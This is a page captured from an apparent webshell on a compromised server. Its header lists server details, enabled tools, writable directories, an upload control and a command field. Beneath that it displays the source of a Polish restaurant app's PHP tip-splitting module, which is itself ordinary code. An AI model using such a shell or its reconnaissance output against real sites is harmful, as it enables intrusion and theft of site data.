403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/tips.php
<?php
declare(strict_types=1);

function ensure_tips_schema(): void
{
    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_pools (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            tip_date DATE NOT NULL,
            shift_code VARCHAR(32) NOT NULL DEFAULT 'all_day',
            cash_amount DECIMAL(10,2) NOT NULL DEFAULT 0.00,
            card_amount DECIMAL(10,2) NOT NULL DEFAULT 0.00,
            other_amount DECIMAL(10,2) NOT NULL DEFAULT 0.00,
            note TEXT DEFAULT NULL,
            source_type VARCHAR(20) NOT NULL DEFAULT 'manual',
            source_file VARCHAR(255) DEFAULT NULL,
            source_original_name VARCHAR(255) DEFAULT NULL,
            status VARCHAR(20) NOT NULL DEFAULT 'open',
            settled_at DATETIME DEFAULT NULL,
            settled_by_user_id INT UNSIGNED DEFAULT NULL,
            created_by_user_id INT UNSIGNED DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            UNIQUE KEY uq_tip_pool_date_shift (tip_date, shift_code),
            INDEX idx_tip_pool_status (status),
            INDEX idx_tip_pool_shift (shift_code, tip_date),
            CONSTRAINT fk_tip_pool_settled_by FOREIGN KEY (settled_by_user_id) REFERENCES users(id) ON DELETE SET NULL,
            CONSTRAINT fk_tip_pool_created_by FOREIGN KEY (created_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    $columns = db()->query('SHOW COLUMNS FROM tip_pools')->fetchAll();
    $names = array_map(static fn(array $row): string => (string)$row['Field'], $columns);

    if (!in_array('shift_code', $names, true)) {
        db()->exec("ALTER TABLE tip_pools ADD COLUMN shift_code VARCHAR(32) NOT NULL DEFAULT 'all_day' AFTER tip_date");
    }
    if (!in_array('source_type', $names, true)) {
        db()->exec("ALTER TABLE tip_pools ADD COLUMN source_type VARCHAR(20) NOT NULL DEFAULT 'manual' AFTER note");
    }
    if (!in_array('source_file', $names, true)) {
        db()->exec('ALTER TABLE tip_pools ADD COLUMN source_file VARCHAR(255) DEFAULT NULL AFTER source_type');
    }
    if (!in_array('source_original_name', $names, true)) {
        db()->exec('ALTER TABLE tip_pools ADD COLUMN source_original_name VARCHAR(255) DEFAULT NULL AFTER source_file');
    }

    $indexes = db()->query('SHOW INDEX FROM tip_pools')->fetchAll();
    $indexNames = array_values(array_unique(array_column($indexes, 'Key_name')));
    if (in_array('uq_tip_pool_date', $indexNames, true)) {
        db()->exec('ALTER TABLE tip_pools DROP INDEX uq_tip_pool_date');
    }
    if (!in_array('uq_tip_pool_date_shift', $indexNames, true)) {
        db()->exec('ALTER TABLE tip_pools ADD UNIQUE KEY uq_tip_pool_date_shift (tip_date, shift_code)');
    }
    if (!in_array('idx_tip_pool_shift', $indexNames, true)) {
        db()->exec('ALTER TABLE tip_pools ADD INDEX idx_tip_pool_shift (shift_code, tip_date)');
    }

    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_pool_participants (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            pool_id BIGINT UNSIGNED NOT NULL,
            user_id INT UNSIGNED NOT NULL,
            points DECIMAL(8,2) NOT NULL DEFAULT 1.00,
            share_amount DECIMAL(10,2) NOT NULL DEFAULT 0.00,
            payout_status VARCHAR(20) NOT NULL DEFAULT 'pending',
            paid_at DATETIME DEFAULT NULL,
            paid_by_user_id INT UNSIGNED DEFAULT NULL,
            paid_note VARCHAR(255) DEFAULT NULL,
            acknowledged_at DATETIME DEFAULT NULL,
            acknowledged_ip VARCHAR(64) DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            UNIQUE KEY uq_tip_pool_user (pool_id, user_id),
            INDEX idx_tip_person_user (user_id),
            INDEX idx_tip_person_payout (payout_status),
            CONSTRAINT fk_tip_person_pool FOREIGN KEY (pool_id) REFERENCES tip_pools(id) ON DELETE CASCADE,
            CONSTRAINT fk_tip_person_user FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE RESTRICT,
            CONSTRAINT fk_tip_person_paid_by FOREIGN KEY (paid_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    $participantColumns = db()->query('SHOW COLUMNS FROM tip_pool_participants')->fetchAll();
    $participantNames = array_map(static fn(array $row): string => (string)$row['Field'], $participantColumns);
    if (!in_array('acknowledged_at',$participantNames,true)) db()->exec('ALTER TABLE tip_pool_participants ADD COLUMN acknowledged_at DATETIME DEFAULT NULL AFTER paid_note');
    if (!in_array('acknowledged_ip',$participantNames,true)) db()->exec('ALTER TABLE tip_pool_participants ADD COLUMN acknowledged_ip VARCHAR(64) DEFAULT NULL AFTER acknowledged_at');

    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_pool_events (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            pool_id BIGINT UNSIGNED NOT NULL,
            actor_user_id INT UNSIGNED DEFAULT NULL,
            event_type VARCHAR(40) NOT NULL,
            event_note TEXT DEFAULT NULL,
            payload_json LONGTEXT DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            INDEX idx_tip_events_pool (pool_id, created_at),
            CONSTRAINT fk_tip_event_pool FOREIGN KEY (pool_id) REFERENCES tip_pools(id) ON DELETE CASCADE,
            CONSTRAINT fk_tip_event_actor FOREIGN KEY (actor_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );
    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_month_closures (
            month_key CHAR(7) PRIMARY KEY,
            closed_at DATETIME NOT NULL,
            closed_by_user_id INT UNSIGNED DEFAULT NULL,
            reopened_at DATETIME DEFAULT NULL,
            reopened_by_user_id INT UNSIGNED DEFAULT NULL,
            note TEXT DEFAULT NULL,
            CONSTRAINT fk_tip_month_closed_by FOREIGN KEY (closed_by_user_id) REFERENCES users(id) ON DELETE SET NULL,
            CONSTRAINT fk_tip_month_reopened_by FOREIGN KEY (reopened_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );
}

function tips_allowed_roles(): array { return ['admin','editor','manager','waiter','kitchen']; }
function tip_staff_roles(): array { return ['waiter','kitchen']; }
function tips_manager_roles(): array { return ['admin','editor','manager']; }
function tips_month_manager_roles(): array { return ['admin','manager']; }

function require_tips_access(): array
{
    require_login();
    $user = admin_user();
    if (!$user || !in_array((string)$user['role'], tips_allowed_roles(), true)) {
        http_response_code(403); exit('Brak dostępu do napiwków.');
    }
    return $user;
}

function require_tips_manager(): array
{
    $user = require_tips_access();
    if (!in_array((string)$user['role'], tips_manager_roles(), true)) {
        http_response_code(403); exit('Brak dostępu do zarządzania napiwkami.');
    }
    return $user;
}

function tip_role_label(string $role): string
{
    return match ($role) {
        'waiter' => 'Kelner', 'kitchen' => 'Kuchnia', 'admin' => 'Administrator', 'editor' => 'Redaktor', 'manager' => 'Manager', default => ucfirst($role),
    };
}

function tip_money(float $value): string { return number_format($value, 2, ',', ' ') . ' zł'; }

function tips_parse_amount(string $value): float
{
    $value = str_replace([' ', ','], ['', '.'], trim($value));
    if ($value === '') return 0.0;
    if (!is_numeric($value)) throw new InvalidArgumentException('Kwota musi być liczbą.');
    $amount = round((float)$value, 2);
    if ($amount < 0 || $amount > 1000000) throw new InvalidArgumentException('Nieprawidłowa kwota.');
    return $amount;
}

function tip_pool_total(array $pool): float
{
    return (float)($pool['cash_amount'] ?? 0) + (float)($pool['card_amount'] ?? 0) + (float)($pool['other_amount'] ?? 0);
}

function tip_split_settings(): array
{
    $waiter = max(0.0, min(100.0, (float)setting('tips_waiter_percent', '70')));
    $kitchen = max(0.0, min(100.0, (float)setting('tips_kitchen_percent', '30')));
    if (abs(($waiter + $kitchen) - 100.0) > 0.001) { $waiter = 70.0; $kitchen = 30.0; }
    return ['waiter'=>$waiter, 'kitchen'=>$kitchen];
}

function tip_pool_staff(bool $activeOnly = true): array
{
    ensure_tips_schema();
    $sql = "SELECT id, username, name, role, active FROM users WHERE role IN ('waiter','kitchen')";
    if ($activeOnly) $sql .= ' AND active=1';
    $sql .= " ORDER BY FIELD(role,'waiter','kitchen'), COALESCE(name, username), username";
    return db()->query($sql)->fetchAll();
}

function tip_pool_by_date(string $date, string $shiftCode = 'all_day'): ?array
{
    ensure_tips_schema();
    $stmt=db()->prepare("SELECT * FROM tip_pools WHERE tip_date=? AND shift_code='all_day' LIMIT 1");
    $stmt->execute([$date]);
    return $stmt->fetch() ?: null;
}

function tip_pool_by_id(int $id): ?array
{
    ensure_tips_schema();
    $stmt = db()->prepare(
        "SELECT p.*, u.name AS settled_by_name, u.username AS settled_by_username
         FROM tip_pools p LEFT JOIN users u ON u.id=p.settled_by_user_id
         WHERE p.id=? LIMIT 1"
    );
    $stmt->execute([$id]);
    return $stmt->fetch() ?: null;
}

function tip_pool_people(int $poolId): array
{
    ensure_tips_schema();
    $stmt = db()->prepare(
        "SELECT pp.*, u.username, u.name, u.role, u.active,
                pu.username AS paid_by_username, pu.name AS paid_by_name
         FROM tip_pool_participants pp
         JOIN users u ON u.id=pp.user_id
         LEFT JOIN users pu ON pu.id=pp.paid_by_user_id
         WHERE pp.pool_id=?
         ORDER BY FIELD(u.role,'waiter','kitchen'), COALESCE(u.name,u.username), u.username"
    );
    $stmt->execute([$poolId]);
    return $stmt->fetchAll();
}

function tip_pool_allocate_by_groups(float $total, array $selectedUserIds): array
{
    $selectedUserIds = array_values(array_unique(array_filter(array_map('intval', $selectedUserIds))));
    if (!$selectedUserIds) throw new RuntimeException('Na tej zmianie nie ma wybranych pracowników.');

    $placeholders = implode(',', array_fill(0, count($selectedUserIds), '?'));
    $stmt = db()->prepare(
        "SELECT id, role FROM users WHERE active=1 AND role IN ('waiter','kitchen') AND id IN ($placeholders)"
    );
    $stmt->execute($selectedUserIds);

    $groups = ['waiter'=>[], 'kitchen'=>[]];
    foreach ($stmt->fetchAll() as $row) {
        if (isset($groups[$row['role']])) $groups[$row['role']][] = (int)$row['id'];
    }

    $split = tip_split_settings();
    foreach (['waiter','kitchen'] as $role) {
        if ($split[$role] > 0 && !$groups[$role]) {
            throw new RuntimeException($role === 'waiter'
                ? 'Ta zmiana nie ma żadnego kelnera, a split przewiduje część dla kelnerów.'
                : 'Ta zmiana nie ma nikogo z kuchni, a split przewiduje część dla kuchni.');
        }
    }

    $totalCents = (int)round($total * 100);
    $waiterCents = (int)round($totalCents * ($split['waiter'] / 100));
    $groupCents = ['waiter'=>$waiterCents, 'kitchen'=>$totalCents-$waiterCents];
    $shares = [];

    foreach (['waiter','kitchen'] as $role) {
        $ids = $groups[$role];
        if (!$ids) continue;
        $base = intdiv($groupCents[$role], count($ids));
        $rem = $groupCents[$role] - ($base * count($ids));
        foreach ($ids as $i => $userId) {
            $cents = $base + ($i < $rem ? 1 : 0);
            $shares[$userId] = ['role'=>$role, 'points'=>1.0, 'share'=>round($cents/100,2)];
        }
    }

    return [
        'shares'=>$shares, 'split'=>$split,
        'group_amounts'=>['waiter'=>round($groupCents['waiter']/100,2),'kitchen'=>round($groupCents['kitchen']/100,2)],
        'counts'=>['waiter'=>count($groups['waiter']),'kitchen'=>count($groups['kitchen'])],
    ];
}

function tip_pool_event(int $poolId, string $type, int $actorUserId, string $note = '', array $payload = []): void
{
    $stmt = db()->prepare(
        'INSERT INTO tip_pool_events (pool_id,actor_user_id,event_type,event_note,payload_json) VALUES (?,?,?,?,?)'
    );
    $stmt->execute([
        $poolId, $actorUserId > 0 ? $actorUserId : null, $type, $note !== '' ? $note : null,
        $payload ? json_encode($payload, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) : null,
    ]);
}

function tip_pool_events(int $poolId, int $limit = 40): array
{
    $limit = max(1, min(100, $limit));
    $stmt = db()->prepare(
        "SELECT e.*,u.username,u.name FROM tip_pool_events e
         LEFT JOIN users u ON u.id=e.actor_user_id
         WHERE e.pool_id=? ORDER BY e.id DESC LIMIT $limit"
    );
    $stmt->execute([$poolId]);
    return $stmt->fetchAll();
}

function tip_pool_mark_paid(int $poolId, int $participantId, int $actorUserId, string $note = ''): void
{
    $pool = tip_pool_by_id($poolId);
    if (!$pool) throw new RuntimeException('Nie znaleziono rozliczenia zmiany.');
    if ($pool['status'] !== 'settled') throw new RuntimeException('Najpierw zamknij dzień.');

    $stmt = db()->prepare(
        "SELECT pp.*,u.name,u.username FROM tip_pool_participants pp JOIN users u ON u.id=pp.user_id
         WHERE pp.id=? AND pp.pool_id=? LIMIT 1"
    );
    $stmt->execute([$participantId,$poolId]);
    $person = $stmt->fetch();
    if (!$person) throw new RuntimeException('Nie znaleziono udziału pracownika.');

    db()->prepare(
        "UPDATE tip_pool_participants SET payout_status='paid',paid_at=NOW(),paid_by_user_id=?,paid_note=?,acknowledged_at=NULL,acknowledged_ip=NULL WHERE id=? AND pool_id=?"
    )->execute([$actorUserId,$note !== '' ? $note : null,$participantId,$poolId]);

    tip_pool_event($poolId,'payout_paid',$actorUserId,$note,[
        'participant_id'=>$participantId,'user_id'=>(int)$person['user_id'],
        'person'=>$person['name'] ?: $person['username'],'amount'=>(float)$person['share_amount'],
    ]);
}

function tip_pool_mark_unpaid(int $poolId, int $participantId, int $actorUserId, string $reason): void
{
    if (mb_strlen(trim($reason),'UTF-8') < 3) throw new RuntimeException('Podaj powód cofnięcia wypłaty.');
    $stmt = db()->prepare(
        "SELECT pp.*,u.name,u.username FROM tip_pool_participants pp JOIN users u ON u.id=pp.user_id
         WHERE pp.id=? AND pp.pool_id=? LIMIT 1"
    );
    $stmt->execute([$participantId,$poolId]);
    $person = $stmt->fetch();
    if (!$person) throw new RuntimeException('Nie znaleziono udziału pracownika.');

    db()->prepare(
        "UPDATE tip_pool_participants SET payout_status='pending',paid_at=NULL,paid_by_user_id=NULL,paid_note=NULL,acknowledged_at=NULL,acknowledged_ip=NULL WHERE id=? AND pool_id=?"
    )->execute([$participantId,$poolId]);
    tip_pool_event($poolId,'payout_reopened',$actorUserId,$reason,[
        'participant_id'=>$participantId,'user_id'=>(int)$person['user_id'],
        'person'=>$person['name'] ?: $person['username'],'amount'=>(float)$person['share_amount'],
    ]);
}

function tip_pool_mark_all_paid(int $poolId, int $actorUserId, string $note = ''): int
{
    $pool = tip_pool_by_id($poolId);
    if (!$pool || $pool['status'] !== 'settled') throw new RuntimeException('Najpierw zamknij dzień.');
    $stmt = db()->prepare(
        "UPDATE tip_pool_participants SET payout_status='paid',paid_at=NOW(),paid_by_user_id=?,paid_note=?,acknowledged_at=NULL,acknowledged_ip=NULL
         WHERE pool_id=? AND payout_status<>'paid'"
    );
    $stmt->execute([$actorUserId,$note !== '' ? $note : null,$poolId]);
    $count = $stmt->rowCount();
    tip_pool_event($poolId,'payout_all_paid',$actorUserId,$note,['count'=>$count]);
    return $count;
}

function tip_pool_save(
    string $date,
    float $cash,
    float $card,
    float $other,
    string $note,
    array $selectedUserIds,
    int $actorUserId,
    string $correctionReason = '',
    string $shiftCode = 'all_day',
    array $source = []
): array {
    ensure_tips_schema();

    $dateObj = DateTimeImmutable::createFromFormat('!Y-m-d',$date);
    if (!$dateObj || $dateObj->format('Y-m-d') !== $date) throw new RuntimeException('Nieprawidłowa data.');
    $shiftCode='all_day';
    if (tip_month_is_closed(substr($date,0,7))) throw new RuntimeException('Ten miesiąc jest zamknięty. Otwórz miesiąc przed korektą.');

    $total = round($cash+$card+$other,2);
    if ($total <= 0) throw new RuntimeException('Pula napiwków musi być większa od zera.');

    $allocation = tip_pool_allocate_by_groups($total,$selectedUserIds);
    $existing = tip_pool_by_date($date,$shiftCode);
    if ($existing && $existing['status'] === 'settled') throw new RuntimeException('Ten dzień jest już zamknięty. Najpierw otwórz go ponownie.');
    if ($existing && mb_strlen(trim($correctionReason),'UTF-8') < 3) throw new RuntimeException('Przy korekcie podaj powód zmiany.');

    $sourceType = in_array(($source['type'] ?? 'manual'), ['manual','photo','import'], true) ? (string)($source['type'] ?? 'manual') : 'manual';
    $sourceFile = trim((string)($source['file'] ?? '')) ?: null;
    $sourceOriginal = trim((string)($source['original_name'] ?? '')) ?: null;

    $pdo = db();
    $pdo->beginTransaction();
    try {
        if ($existing) {
            $poolId = (int)$existing['id'];
            $pdo->prepare(
                "UPDATE tip_pools SET cash_amount=?,card_amount=?,other_amount=?,note=?,source_type=?,source_file=COALESCE(?,source_file),
                 source_original_name=COALESCE(?,source_original_name),status='open',settled_at=NULL,settled_by_user_id=NULL WHERE id=?"
            )->execute([$cash,$card,$other,$note !== '' ? $note : null,$sourceType,$sourceFile,$sourceOriginal,$poolId]);
            $pdo->prepare('DELETE FROM tip_pool_participants WHERE pool_id=?')->execute([$poolId]);
        } else {
            $pdo->prepare(
                "INSERT INTO tip_pools
                 (tip_date,shift_code,cash_amount,card_amount,other_amount,note,source_type,source_file,source_original_name,status,created_by_user_id)
                 VALUES (?,?,?,?,?,?,?,?,?,'open',?)"
            )->execute([$date,$shiftCode,$cash,$card,$other,$note !== '' ? $note : null,$sourceType,$sourceFile,$sourceOriginal,$actorUserId]);
            $poolId = (int)$pdo->lastInsertId();
        }

        $insert = $pdo->prepare(
            'INSERT INTO tip_pool_participants (pool_id,user_id,points,share_amount,payout_status) VALUES (?,?,?,?,\'pending\')'
        );
        foreach ($allocation['shares'] as $userId=>$share) {
            $insert->execute([$poolId,(int)$userId,1.0,(float)$share['share']]);
        }
        $pdo->commit();

        tip_pool_event(
            $poolId,
            $existing ? 'pool_corrected' : 'pool_created',
            $actorUserId,
            $existing ? $correctionReason : '',
            [
                'date'=>$date,'shift'=>$shiftCode,'source'=>$sourceType,
                'cash'=>$cash,'card'=>$card,'other'=>$other,'total'=>$total,
                'split'=>$allocation['split'],'counts'=>$allocation['counts'],
            ]
        );

        return tip_pool_by_id($poolId) ?: throw new RuntimeException('Nie udało się odczytać rozliczenia.');
    } catch (Throwable $e) {
        if ($pdo->inTransaction()) $pdo->rollBack();
        throw $e;
    }
}

function tip_pool_set_status(int $poolId, string $status, int $actorUserId, string $reason = ''): void
{
    $pool = tip_pool_by_id($poolId);
    if (!$pool) throw new RuntimeException('Nie znaleziono rozliczenia.');
    if (!in_array($status,['open','settled'],true)) throw new RuntimeException('Nieprawidłowy status.');

    if ($status === 'settled') {
        db()->prepare("UPDATE tip_pools SET status='settled',settled_at=NOW(),settled_by_user_id=? WHERE id=?")
            ->execute([$actorUserId,$poolId]);
        tip_pool_event($poolId,'pool_settled',$actorUserId,'');
        return;
    }

    if (mb_strlen(trim($reason),'UTF-8') < 3) throw new RuntimeException('Podaj powód ponownego otwarcia dnia.');
    db()->prepare("UPDATE tip_pools SET status='open',settled_at=NULL,settled_by_user_id=NULL WHERE id=?")
        ->execute([$poolId]);
    db()->prepare("UPDATE tip_pool_participants SET payout_status='pending',paid_at=NULL,paid_by_user_id=NULL,paid_note=NULL,acknowledged_at=NULL,acknowledged_ip=NULL WHERE pool_id=? AND payout_status='paid'")
        ->execute([$poolId]);
    tip_pool_event($poolId,'pool_reopened',$actorUserId,$reason);
}


function tip_month_closure(string $month): ?array
{
    ensure_tips_schema();
    if (!preg_match('/^\d{4}-\d{2}$/',$month)) return null;
    $stmt=db()->prepare('SELECT * FROM tip_month_closures WHERE month_key=? LIMIT 1');
    $stmt->execute([$month]);
    $row=$stmt->fetch();
    if(!$row || !empty($row['reopened_at'])) return null;
    return $row;
}

function tip_month_is_closed(string $month): bool { return tip_month_closure($month) !== null; }

function tip_month_close(string $month, int $actorUserId, string $note=''): int
{
    ensure_tips_schema();
    if(!preg_match('/^\d{4}-\d{2}$/',$month)) throw new RuntimeException('Nieprawidłowy miesiąc.');
    $from=$month.'-01';
    $to=(new DateTimeImmutable($from))->modify('last day of this month')->format('Y-m-d');
    $pdo=db();$pdo->beginTransaction();
    try{
        $stmt=$pdo->prepare("SELECT id FROM tip_pools WHERE tip_date BETWEEN ? AND ? AND status='open' FOR UPDATE");
        $stmt->execute([$from,$to]);$ids=array_map('intval',array_column($stmt->fetchAll(),'id'));
        if($ids){
            $ph=implode(',',array_fill(0,count($ids),'?'));
            $params=array_merge([$actorUserId],$ids);
            $pdo->prepare("UPDATE tip_pools SET status='settled',settled_at=NOW(),settled_by_user_id=? WHERE id IN ($ph)")->execute($params);
        }
        $pdo->prepare("INSERT INTO tip_month_closures (month_key,closed_at,closed_by_user_id,reopened_at,reopened_by_user_id,note)
                       VALUES (?,NOW(),?,NULL,NULL,?)
                       ON DUPLICATE KEY UPDATE closed_at=NOW(),closed_by_user_id=VALUES(closed_by_user_id),reopened_at=NULL,reopened_by_user_id=NULL,note=VALUES(note)")
            ->execute([$month,$actorUserId,$note!==''?$note:null]);
        $pdo->commit();
        foreach($ids as $id) tip_pool_event($id,'month_closed',$actorUserId,$note,['month'=>$month]);
        return count($ids);
    }catch(Throwable $e){if($pdo->inTransaction())$pdo->rollBack();throw $e;}
}

function tip_month_reopen(string $month, int $actorUserId, string $reason): void
{
    ensure_tips_schema();
    if(mb_strlen(trim($reason),'UTF-8')<3) throw new RuntimeException('Podaj powód otwarcia miesiąca.');
    $stmt=db()->prepare("UPDATE tip_month_closures SET reopened_at=NOW(),reopened_by_user_id=?,note=? WHERE month_key=? AND reopened_at IS NULL");
    $stmt->execute([$actorUserId,$reason,$month]);
}

function tip_pool_acknowledge_for_user(int $poolId, int $userId, string $ip=''): void
{
    ensure_tips_schema();
    $stmt=db()->prepare("SELECT pp.id,pp.payout_status,pp.acknowledged_at,p.tip_date FROM tip_pool_participants pp JOIN tip_pools p ON p.id=pp.pool_id WHERE pp.pool_id=? AND pp.user_id=? LIMIT 1");
    $stmt->execute([$poolId,$userId]);$row=$stmt->fetch();
    if(!$row) throw new RuntimeException('Nie znaleziono Twojego rozliczenia.');
    if($row['payout_status']!=='paid') throw new RuntimeException('Najpierw wypłata musi zostać oznaczona jako wypłacona.');
    if(!empty($row['acknowledged_at'])) return;
    db()->prepare('UPDATE tip_pool_participants SET acknowledged_at=NOW(),acknowledged_ip=? WHERE id=?')->execute([$ip!==''?$ip:null,(int)$row['id']]);
    tip_pool_event($poolId,'payout_acknowledged',$userId,'',['user_id'=>$userId]);
}


function tip_user_recent_rows(int $userId, int $limit = 60): array
{
    ensure_tips_schema();
    $limit = max(1, min(180, $limit));
    $stmt = db()->prepare(
        "SELECT p.id AS pool_id,p.tip_date,p.status,pp.id AS participant_id,pp.share_amount,pp.payout_status,pp.paid_at,pp.acknowledged_at
         FROM tip_pool_participants pp
         JOIN tip_pools p ON p.id=pp.pool_id
         WHERE pp.user_id=?
         ORDER BY p.tip_date DESC,p.id DESC
         LIMIT $limit"
    );
    $stmt->execute([$userId]);
    return $stmt->fetchAll();
}

function tip_user_day_row(int $userId, string $date): ?array
{
    ensure_tips_schema();
    $stmt = db()->prepare(
        "SELECT p.id AS pool_id,p.tip_date,p.status,pp.id AS participant_id,pp.share_amount,pp.payout_status,pp.paid_at,pp.acknowledged_at
         FROM tip_pool_participants pp
         JOIN tip_pools p ON p.id=pp.pool_id
         WHERE pp.user_id=? AND p.tip_date=?
         ORDER BY p.id DESC LIMIT 1"
    );
    $stmt->execute([$userId,$date]);
    return $stmt->fetch() ?: null;
}

function tip_user_month_rows(int $userId, string $month): array
{
    ensure_tips_schema();
    $from=$month.'-01';$to=(new DateTimeImmutable($from))->modify('last day of this month')->format('Y-m-d');
    $stmt=db()->prepare("SELECT p.id AS pool_id,p.tip_date,p.status,pp.id AS participant_id,pp.share_amount,pp.payout_status,pp.paid_at,pp.acknowledged_at
                        FROM tip_pool_participants pp JOIN tip_pools p ON p.id=pp.pool_id
                        WHERE pp.user_id=? AND p.tip_date BETWEEN ? AND ? ORDER BY p.tip_date DESC,p.id DESC");
    $stmt->execute([$userId,$from,$to]);return $stmt->fetchAll();
}

function tip_pool_month_rows(string $month, ?string $shiftCode = null): array
{
    ensure_tips_schema();
    $from = $month.'-01';
    $to = (new DateTimeImmutable($from))->modify('last day of this month')->format('Y-m-d');
    $params = [$from,$to];
    $where = 'p.tip_date BETWEEN ? AND ?';
    if ($shiftCode !== null && $shiftCode !== '') { $where .= ' AND p.shift_code=?'; $params[] = $shiftCode; }

    $stmt = db()->prepare(
        "SELECT p.*,COUNT(pp.id) AS people_count,COALESCE(SUM(pp.share_amount),0) AS allocated_total,
                COALESCE(SUM(CASE WHEN pp.payout_status='paid' THEN pp.share_amount ELSE 0 END),0) AS paid_total
         FROM tip_pools p LEFT JOIN tip_pool_participants pp ON pp.pool_id=p.id
         WHERE $where GROUP BY p.id ORDER BY p.tip_date DESC,p.shift_code ASC"
    );
    $stmt->execute($params);
    return $stmt->fetchAll();
}

function tip_person_month_summary(string $month): array
{
    ensure_tips_schema();
    $from=$month.'-01';
    $to=(new DateTimeImmutable($from))->modify('last day of this month')->format('Y-m-d');
    $stmt=db()->prepare(
        "SELECT u.id AS user_id,u.username,u.name,u.role,COUNT(pp.id) AS shifts_count,
                COALESCE(SUM(pp.share_amount),0) AS share_total,
                COALESCE(SUM(CASE WHEN pp.payout_status='paid' THEN pp.share_amount ELSE 0 END),0) AS paid_total,
                COALESCE(SUM(CASE WHEN p.status='settled' AND pp.payout_status<>'paid' THEN pp.share_amount ELSE 0 END),0) AS unpaid_total
         FROM tip_pool_participants pp JOIN tip_pools p ON p.id=pp.pool_id JOIN users u ON u.id=pp.user_id
         WHERE p.tip_date BETWEEN ? AND ?
         GROUP BY u.id,u.username,u.name,u.role
         ORDER BY FIELD(u.role,'waiter','kitchen'),share_total DESC,COALESCE(u.name,u.username)"
    );
    $stmt->execute([$from,$to]);
    return $stmt->fetchAll();
}

function tips_summary_for_user(int $userId, string $from, string $to): array
{
    ensure_tips_schema();
    $stmt=db()->prepare(
        "SELECT COALESCE(SUM(pp.share_amount),0) AS total,
                COALESCE(SUM(CASE WHEN p.status='open' THEN pp.share_amount ELSE 0 END),0) AS unsettled_total,
                COALESCE(SUM(CASE WHEN pp.payout_status='paid' THEN pp.share_amount ELSE 0 END),0) AS paid_total,
                COALESCE(SUM(CASE WHEN p.status='settled' AND pp.payout_status<>'paid' THEN pp.share_amount ELSE 0 END),0) AS unpaid_total,
                COUNT(pp.id) AS entries
         FROM tip_pool_participants pp JOIN tip_pools p ON p.id=pp.pool_id
         WHERE pp.user_id=? AND p.tip_date BETWEEN ? AND ?"
    );
    $stmt->execute([$userId,$from,$to]);
    $row=$stmt->fetch() ?: [];
    return [
        'total'=>(float)($row['total']??0),'unsettled_total'=>(float)($row['unsettled_total']??0),
        'paid_total'=>(float)($row['paid_total']??0),'unpaid_total'=>(float)($row['unpaid_total']??0),
        'entries'=>(int)($row['entries']??0),
    ];
}

Youez - 2016 - github.com/yon3zu
LinuXploit